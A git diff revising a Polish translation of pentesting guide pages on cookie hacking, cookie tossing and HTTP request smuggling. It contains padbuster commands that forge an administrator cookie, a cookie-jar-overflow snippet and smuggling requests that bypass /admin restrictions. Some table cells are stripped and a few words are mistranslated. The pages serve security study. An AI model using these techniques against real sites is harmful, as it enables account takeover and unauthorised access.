-3.  **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../" w celu przechodzenia między katalogami.
+3.  **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przechodzić między katalogami.
 
 ```bash
 :set modifiable
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md
index db81100e0..c4fb61abe 100644
--- a/src/pentesting-web/hacking-with-cookies/README.md
+++ b/src/pentesting-web/hacking-with-cookies/README.md
@@ -12,7 +12,7 @@ Data wygaśnięcia ciasteczka jest określona przez atrybut `Expires`. Z kolei a
 
 ### Domeny
 
-Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest to ustawione na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
+Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest to ustawione na hosta, który wydał ciasteczko, nie uwzględniając jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
 
 ### Ścieżka
 
@@ -38,11 +38,11 @@ Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów mo
 | ---------------- | ---------------------------------- | --------------------- |
 | Link             | \\               | NotSet\*, Lax, None   |
 | Prerender        | \ | NotSet\*, Lax, None   |
-| Form GET         | \
  | NotSet\*, Lax, None   |
-| Form POST        | \
 | NotSet\*, None        |
+| Formularz GET    | \
  | NotSet\*, Lax, None   |
+| Formularz POST   | \
 | NotSet\*, None        |
 | iframe           | \      | NotSet\*, None        |
 | AJAX             | $.get("...")                       | NotSet\*, None        |
-| Obraz            | \
                   | NetSet\*, None        |
+| Obraz           | \                   | NetSet\*, None        |
 
 Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieco zmodyfikowana.\
 Ciasteczko z atrybutem _**SameSite**_ **łagodzi ataki CSRF**, gdzie potrzebna jest zalogowana sesja.
@@ -89,7 +89,7 @@ Ważne jest, aby zauważyć, że ciasteczka z prefiksem `__Host-` nie mogą być
 
 ### Nadpisywanie ciasteczek
 
-Jednym z zabezpieczeń ciasteczek z prefiksem `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomen, oszukując parser, na przykład dodając "=" na początku lub na końcu...:
+Jedną z ochron prefiksowanych ciasteczek `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parsera, na przykład dodając "=" na początku lub na końcu...:
 
 

 
@@ -103,15 +103,15 @@ Jeśli niestandardowe ciasteczko zawiera wrażliwe dane, sprawdź je (szczególn
 
 ### Dekodowanie i manipulowanie ciasteczkami
 
-Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w Base64 lub podobnych formatach mogą często być dekodowane. Ta luka pozwala atakującym na zmianę zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
+Wrażliwe dane osadzone w ciasteczkach powinny być zawsze dokładnie sprawdzane. Ciasteczka zakodowane w Base64 lub podobnych formatach można często dekodować. Ta luka pozwala atakującym na zmianę zawartości ciasteczka i podszywanie się pod innych użytkowników, kodując ich zmodyfikowane dane z powrotem do ciasteczka.
 
 ### Przechwytywanie sesji
 
-Ten atak polega na kradzieży ciasteczka użytkownika, aby uzyskać nieautoryzowany dostęp do jego konta w aplikacji. Używając skradzionego ciasteczka, atakujący może podszywać się pod prawowitego użytkownika.
+Ten atak polega na kradzieży ciasteczka użytkownika, aby uzyskać nieautoryzowany dostęp do jego konta w aplikacji. Używając skradzionego ciasteczka, atakujący może podszyć się pod prawdziwego użytkownika.
 
 ### Utrwalanie sesji
 
-W tym scenariuszu atakujący oszukuje ofiarę, aby użyła konkretnego ciasteczka do logowania. Jeśli aplikacja nie przypisuje nowego ciasteczka po zalogowaniu, atakujący, posiadający oryginalne ciasteczko, może podszywać się pod ofiarę. Ta technika polega na tym, że ofiara loguje się za pomocą ciasteczka dostarczonego przez atakującego.
+W tym scenariuszu atakujący oszukuje ofiarę, aby użyła konkretnego ciasteczka do logowania. Jeśli aplikacja nie przypisuje nowego ciasteczka po zalogowaniu, atakujący, posiadający oryginalne ciasteczko, może podszyć się pod ofiarę. Ta technika polega na tym, że ofiara loguje się za pomocą ciasteczka dostarczonego przez atakującego.
 
 Jeśli znalazłeś **XSS w subdomenie** lub **kontrolujesz subdomenę**, przeczytaj:
 
@@ -135,7 +135,7 @@ Kliknij na poprzedni link, aby uzyskać dostęp do strony wyjaśniającej możli
 
 JSON Web Tokens (JWT) używane w ciasteczkach mogą również przedstawiać luki. Aby uzyskać szczegółowe informacje na temat potencjalnych luk i sposobów ich wykorzystania, zaleca się dostęp do powiązanego dokumentu dotyczącego hakowania JWT.
 
-### Fałszywe żądania między witrynami (CSRF)
+### Cross-Site Request Forgery (CSRF)
 
 Ten atak zmusza zalogowanego użytkownika do wykonywania niechcianych działań w aplikacji internetowej, w której jest aktualnie uwierzytelniony. Atakujący mogą wykorzystać ciasteczka, które są automatycznie wysyłane z każdym żądaniem do podatnej witryny.
 
@@ -165,21 +165,21 @@ document.cookie = "\ud800=meep"
 ```
 To skutkuje tym, że `document.cookie` zwraca pusty ciąg, co wskazuje na trwałą korupcję.
 
-#### Przechwytywanie ciasteczek z powodu problemów z analizą
+#### Smuggling ciasteczek z powodu problemów z analizą
 
-(Zobacz szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów internetowych, w tym te z Javy (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), niewłaściwie obsługuje ciągi ciasteczek z powodu przestarzałego wsparcia dla RFC2965. Odczytują podwójnie cytowaną wartość ciasteczka jako jedną wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
+(Zobacz szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów internetowych, w tym te z Javy (Jetty, TomCat, Undertow) i Pythona (Zope, cherrypy, web.py, aiohttp, bottle, webob), niewłaściwie obsługuje ciągi ciasteczek z powodu przestarzałego wsparcia dla RFC2965. Odczytują wartość ciasteczka w podwójnych cudzysłowach jako jedną wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
 ```
 RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 ```
 #### Luki w wstrzykiwaniu ciasteczek
 
-(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków wstrzykiwania ciasteczek. Serwery te nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
+(Sprawdź szczegóły w [oryginalnych badaniach](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe analizowanie ciasteczek przez serwery, szczególnie Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, stwarza możliwości ataków wstrzykiwania ciasteczek. Serwery te nieprawidłowo delimitują początek nowych ciasteczek, co pozwala atakującym na fałszowanie ciasteczek:
 
 - Undertow oczekuje nowego ciasteczka natychmiast po wartości w cudzysłowie bez średnika.
 - Zope szuka przecinka, aby rozpocząć analizowanie następnego ciasteczka.
 - Klasy ciasteczek Pythona zaczynają analizowanie od znaku spacji.
 
-Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych opartych na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, co potencjalnie omija środki bezpieczeństwa. Problem jest zaostrzony przez sposób, w jaki Python obsługuje duplikaty nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Wzbudza to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
+Ta luka jest szczególnie niebezpieczna w aplikacjach internetowych polegających na ochronie CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie fałszywych ciasteczek z tokenami CSRF, potencjalnie omijając środki bezpieczeństwa. Problem jest zaostrzony przez sposób, w jaki Python obsługuje duplikaty nazw ciasteczek, gdzie ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach i może prowadzić do obejść autoryzacji, gdy ciasteczka są przekazywane do serwerów zaplecza podatnych na fałszowanie.
 
 ### Ciasteczka $version i obejścia WAF
 
@@ -226,10 +226,10 @@ Resulting cookie: name=eval('test//, comment') => allowed
 
 #### **Zaawansowane ataki na ciasteczka**
 
-Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) po zalogowaniu, prawdopodobnie oznacza to, że ciasteczko jest związane z jakimś polem twojego konta (prawdopodobnie nazwiskiem użytkownika). Wtedy możesz:
+Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) podczas logowania, prawdopodobnie oznacza to, że ciasteczko jest związane z jakimś polem twojego konta (prawdopodobnie nazwiskiem). Wtedy możesz:
 
-- Spróbować utworzyć wiele **kont** z nazwiskami użytkowników bardzo **podobnymi** i spróbować **zgadnąć**, jak działa algorytm.
-- Spróbować **bruteforce'ować nazwisko użytkownika**. Jeśli ciasteczko jest zapisywane tylko jako metoda uwierzytelniania dla twojego nazwiska użytkownika, wtedy możesz utworzyć konto z nazwiskiem użytkownika "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
+- Spróbować utworzyć wiele **kont** z bardzo **podobnymi** nazwiskami i spróbować **zgadnąć**, jak działa algorytm.
+- Spróbować **bruteforce'ować nazwisko**. Jeśli ciasteczko jest zapisywane tylko jako metoda uwierzytelniania dla twojego nazwiska, wtedy możesz utworzyć konto z nazwiskiem "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
 - Spróbuj **Padding** **Oracle** (możesz odszyfrować zawartość ciasteczka). Użyj **padbuster**.
 
 **Padding Oracle - Przykłady Padbuster**
@@ -242,11 +242,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
 ```
-Padbuster pode podjąć kilka prób i zapytać, która z warunków jest warunkiem błędu (tym, który jest nieprawidłowy).
+Padbuster pode podjąć kilka prób i zapyta cię, która z warunków jest warunkiem błędu (tym, który nie jest ważny).
 
-Następnie rozpocznie deszyfrowanie ciasteczka (może to potrwać kilka minut).
+Następnie zacznie deszyfrować ciasteczko (może to potrwać kilka minut).
 
-Jeśli atak został pomyślnie przeprowadzony, możesz spróbować zaszyfrować ciąg według własnego wyboru. Na przykład, jeśli chciałbyś **zaszyfrować** **user=administrator**.
+Jeśli atak został pomyślnie przeprowadzony, możesz spróbować zaszyfrować ciąg według własnego wyboru. Na przykład, jeśli chcesz **zaszyfrować** **user=administrator**.
 ```
 padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
 ```
@@ -273,9 +273,9 @@ Utwórz 2 użytkowników z prawie tymi samymi danymi (nazwa użytkownika, hasło
 
 Utwórz użytkownika o nazwie na przykład "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w ciasteczku jest jakiś wzór (ponieważ ECB szyfruje z tym samym kluczem każdy blok, te same zaszyfrowane bajty mogą się pojawić, jeśli nazwa użytkownika jest szyfrowana).
 
-Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana masa "a", możesz stworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
+Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana grupa "a", możesz stworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
 
-## Referencje
+## References
 
 - [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
 - [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
index f12f30c22..4b9345d94 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md
@@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
 Zauważ, że pliki cookie stron trzecich wskazujące na inna domenę nie będą nadpisywane.
 
 > [!OSTRZEŻENIE]
-> Ten atak może być również użyty do **nadpisania plików cookie HttpOnly, ponieważ możesz je usunąć, a następnie zresetować z wartością, którą chcesz**.
+> Ta atak może być również użyty do **nadpisania plików cookie HttpOnly, ponieważ możesz je usunąć, a następnie zresetować z wartością, którą chcesz**.
 >
 > Sprawdź to w [**tym poście z laboratorium**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).
 
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
index 34e9dd1bd..981a6263f 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
@@ -13,7 +13,7 @@ Jak wskazano w sekcji Hacking Cookies, gdy **ciasteczko jest ustawione na domen
 
 Może to być niebezpieczne, ponieważ atakujący może być w stanie:
 
-- **Utrwalić ciasteczko ofiary na koncie atakującego**, więc jeśli użytkownik nie zauważy, **wykona działania na koncie atakującego**, a atakujący może uzyskać interesujące informacje (sprawdzić historię wyszukiwania użytkownika na platformie, ofiara może ustawić swoją kartę kredytową na koncie...)
+- **Utrwalić ciasteczko ofiary na koncie atakującego**, więc jeśli użytkownik nie zauważy, **wykona działania na koncie atakującego**, a atakujący może uzyskać interesujące informacje (sprawdzić historię wyszukiwań użytkownika na platformie, ofiara może ustawić swoją kartę kredytową na koncie...)
 - Jeśli **ciasteczko nie zmienia się po zalogowaniu**, atakujący może po prostu **utrwalić ciasteczko (session-fixation)**, poczekać, aż ofiara się zaloguje, a następnie **użyć tego ciasteczka, aby zalogować się jako ofiara**.
 - Czasami, nawet jeśli ciasteczka sesyjne się zmieniają, atakujący używa poprzedniego i również otrzyma nowe.
 - Jeśli **ciasteczko ustawia jakąś wartość początkową** (jak w flask, gdzie **ciasteczko** może **ustawić** **token CSRF** sesji, a ta wartość będzie utrzymywana po zalogowaniu ofiary), **atakujący może ustawić tę znaną wartość, a następnie ją wykorzystać** (w tym scenariuszu atakujący może zmusić użytkownika do wykonania żądania CSRF, ponieważ zna token CSRF).
@@ -23,12 +23,12 @@ Może to być niebezpieczne, ponieważ atakujący może być w stanie:
 
 Gdy przeglądarka otrzymuje dwa ciasteczka o tej samej nazwie **częściowo wpływające na ten sam zakres** (domena, subdomeny i ścieżka), **przeglądarka wyśle obie wartości ciasteczka**, gdy obie są ważne dla żądania.
 
-W zależności od tego, kto ma **najbardziej szczegółową ścieżkę** lub które z nich jest **najstarsze**, przeglądarka **ustawi wartość ciasteczka najpierw**, a następnie wartość drugiego, jak w: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
+W zależności od tego, kto ma **najbardziej specyficzną ścieżkę** lub które z nich jest **najstarsze**, przeglądarka **ustawi wartość ciasteczka najpierw**, a następnie wartość drugiego, jak w: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
 
-Większość **stron internetowych użyje tylko pierwszej wartości**. Dlatego, jeśli atakujący chce ustawić ciasteczko, lepiej ustawić je przed ustawieniem innego lub ustawić je z bardziej szczegółową ścieżką.
+Większość **stron internetowych użyje tylko pierwszej wartości**. Dlatego, jeśli atakujący chce ustawić ciasteczko, lepiej ustawić je przed ustawieniem innego lub ustawić je z bardziej specyficzną ścieżką.
 
 > [!WARNING]
-> Ponadto, możliwość **ustawienia ciasteczka w bardziej szczegółowej ścieżce** jest bardzo interesująca, ponieważ będziesz mógł sprawić, że **ofiara będzie pracować ze swoim ciasteczkiem, z wyjątkiem konkretnej ścieżki, gdzie ustawione zostanie złośliwe ciasteczko, które zostanie wysłane jako pierwsze**.
+> Ponadto, możliwość **ustawienia ciasteczka w bardziej specyficznej ścieżce** jest bardzo interesująca, ponieważ będziesz mógł sprawić, że **ofiara będzie pracować ze swoim ciasteczkiem, z wyjątkiem specyficznej ścieżki, gdzie ustawione zostanie złośliwe ciasteczko, które zostanie wysłane wcześniej**.
 
 ### Ominięcie Ochrony
 
diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md
index 07e7bd31c..aa9b0c94f 100644
--- a/src/pentesting-web/http-connection-request-smuggling.md
+++ b/src/pentesting-web/http-connection-request-smuggling.md
@@ -26,7 +26,7 @@ Host: example.com
 POST /pwreset HTTP/1.1
 Host: psres.net
 ```
-Ten problem może być potencjalnie połączony z [atakami na nagłówki Host](https://portswigger.net/web-security/host-header), takimi jak trucie resetu hasła lub [trucie pamięci podręcznej](https://portswigger.net/web-security/web-cache-poisoning), aby wykorzystać inne luki lub uzyskać nieautoryzowany dostęp do dodatkowych wirtualnych hostów.
+Ten problem może być potencjalnie połączony z [atakami na nagłówki Host](https://portswigger.net/web-security/host-header), takimi jak trucie resetu hasła lub [trucie pamięci podręcznej web](https://portswigger.net/web-security/web-cache-poisoning), aby wykorzystać inne luki lub uzyskać nieautoryzowany dostęp do dodatkowych wirtualnych hostów.
 
 > [!NOTE]
 > Aby zidentyfikować te luki, można wykorzystać funkcję 'connection-state probe' w HTTP Request Smuggler.
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index 917d93ab3..3cbaca6fa 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -24,8 +24,8 @@ To pozwala użytkownikowi na **zmodyfikowanie następnego żądania, które dotr
 
 ### Rzeczywistość
 
-**Front-End** (load-balance / Reverse Proxy) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_ a **serwer Back-end** **przetwarza** ten drugi, co powoduje **desynchronizację** między 2 systemami.\
-Może to być bardzo krytyczne, ponieważ **atakujący będzie mógł wysłać jedno żądanie** do reverse proxy, które będzie **interpretowane** przez **serwer back-end** **jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end** **zinterpretuje** **2. wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **prawdziwe żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
+**Front-End** (load-balance / Reverse Proxy) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_ a **serwer Back-end** **przetwarza** drugi, co powoduje **desynchronizację** między 2 systemami.\
+Może to być bardzo krytyczne, ponieważ **atakujący będzie mógł wysłać jedno żądanie** do reverse proxy, które będzie **interpretowane** przez **serwer back-end** **jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end** **zinterpretuje** **2-gie wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **prawdziwe żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
 
 ### Szczególności
 
@@ -33,14 +33,14 @@ Pamiętaj, że w HTTP **znak nowej linii składa się z 2 bajtów:**
 
 - **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **znak nowej linii nie jest potrzebny na końcu żądania**.
 - **Transfer-Encoding:** Ten nagłówek używa w **ciele** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **kończyć się** znakiem **nowej linii**, ale ten nowy znak **nie jest liczony** przez wskaźnik długości. Ta metoda transferu musi kończyć się **kawałkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
-- **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w przypadku HTTP Request Smuggling.
+- **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu w smugglingu żądań.
 
 ## Podstawowe przykłady
 
 > [!TIP]
 > Próbując wykorzystać to z Burp Suite **wyłącz `Update Content-Length` i `Normalize HTTP/1 line endings`** w repeaterze, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i źle sformułowanych długości treści.
 
-Ataki HTTP request smuggling są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują różnice w tym, jak serwery front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą manifestować się w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalną kombinację tego, jak serwery front-end i back-end priorytetują te nagłówki. Luka powstaje, gdy serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych wyników.
+Ataki smugglingu żądań HTTP są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują różnice w tym, jak serwery front-end i back-end interpretują nagłówki `Content-Length` (CL) i `Transfer-Encoding` (TE). Ataki te mogą manifestować się w różnych formach, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalną kombinację tego, jak serwery front-end i back-end priorytetują te nagłówki. Luka wynika z przetwarzania tego samego żądania przez serwery w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych skutków.
 
 ### Podstawowe przykłady typów luk
 
@@ -129,7 +129,7 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **Scenariusz CL.CL (Content-Length używany przez oba, Front-End i Back-End)**
+#### **Scenariusz CL.CL (Content-Length używany przez oba Front-End i Back-End)**
 
 - Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
 - Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w tym, jak oba serwery interpretują długość żądania.
@@ -227,7 +227,7 @@ A
 - Serwer zaplecza, oczekując na wiadomość w formacie chunked, czeka na następny kawałek, który nigdy nie nadchodzi, co powoduje opóźnienie.
 
 - **Wskaźniki:**
-- Przekroczenia czasu lub długie opóźnienia w odpowiedzi.
+- Przekroczenia czasu oczekiwania lub długie opóźnienia w odpowiedzi.
 - Otrzymanie błędu 400 Bad Request od serwera zaplecza, czasami z szczegółowymi informacjami o serwerze.
 
 ### Znajdowanie podatności TE.CL za pomocą technik czasowych
@@ -272,16 +272,16 @@ Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie,
 Podczas testowania podatności na request smuggling poprzez zakłócanie innych żądań, pamiętaj o:
 
 - **Oddzielnych połączeniach sieciowych:** "atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności.
-- **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
-- **Warunków czasowych i wyścigowych:** "normalne" żądanie, mające na celu wykrycie zakłóceń ze strony "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym" żądaniu. Zajęte aplikacje mogą wymagać wielu prób dla jednoznacznego potwierdzenia podatności.
-- **Wyzwań związanych z równoważeniem obciążenia:** Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli "atak" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić podatność.
+- **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
+- **Czasu i warunków wyścigu:** "normalne" żądanie, mające na celu wykrycie zakłóceń ze strony "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym" żądaniu. Zajęte aplikacje mogą wymagać wielu prób, aby potwierdzić podatność.
+- **Wyzwań związanych z równoważeniem obciążenia:** Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić podatność.
 - **Niezamierzony wpływ na użytkowników:** Jeśli twój atak niezamierzenie wpływa na żądanie innego użytkownika (nie "normalne" żądanie, które wysłałeś w celu wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócać innych użytkowników, co wymaga ostrożnego podejścia.
 
 ## Wykorzystywanie HTTP Request Smuggling
 
 ### Ominięcie zabezpieczeń front-end za pomocą HTTP Request Smuggling
 
-Czasami proxy front-end wprowadza środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą być obejście poprzez wykorzystanie HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do zastrzeżonych punktów końcowych. Na przykład, dostęp do `/admin` może być zabroniony z zewnątrz, a proxy front-end aktywnie blokuje takie próby. Niemniej jednak, to proxy może zaniedbać analizę osadzonych żądań w ramach zatuszowanego żądania HTTP, pozostawiając lukę do ominięcia tych ograniczeń.
+Czasami proxy front-end wprowadza środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą być obejście poprzez wykorzystanie HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do zastrzeżonych punktów końcowych. Na przykład, dostęp do `/admin` może być zabroniony z zewnątrz, a proxy front-end aktywnie blokuje takie próby. Niemniej jednak, to proxy może zaniedbać analizę osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając lukę do ominięcia tych ograniczeń.
 
 Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być używane do ominięcia zabezpieczeń front-end, szczególnie celując w ścieżkę `/admin`, która jest zazwyczaj chroniona przez proxy front-end:
 
@@ -320,11 +320,11 @@ a=x
 0
 
 ```
-W przeciwnym razie, w ataku TE.CL, początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-endowe pomija oszukańcze żądanie `GET /admin`, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`.
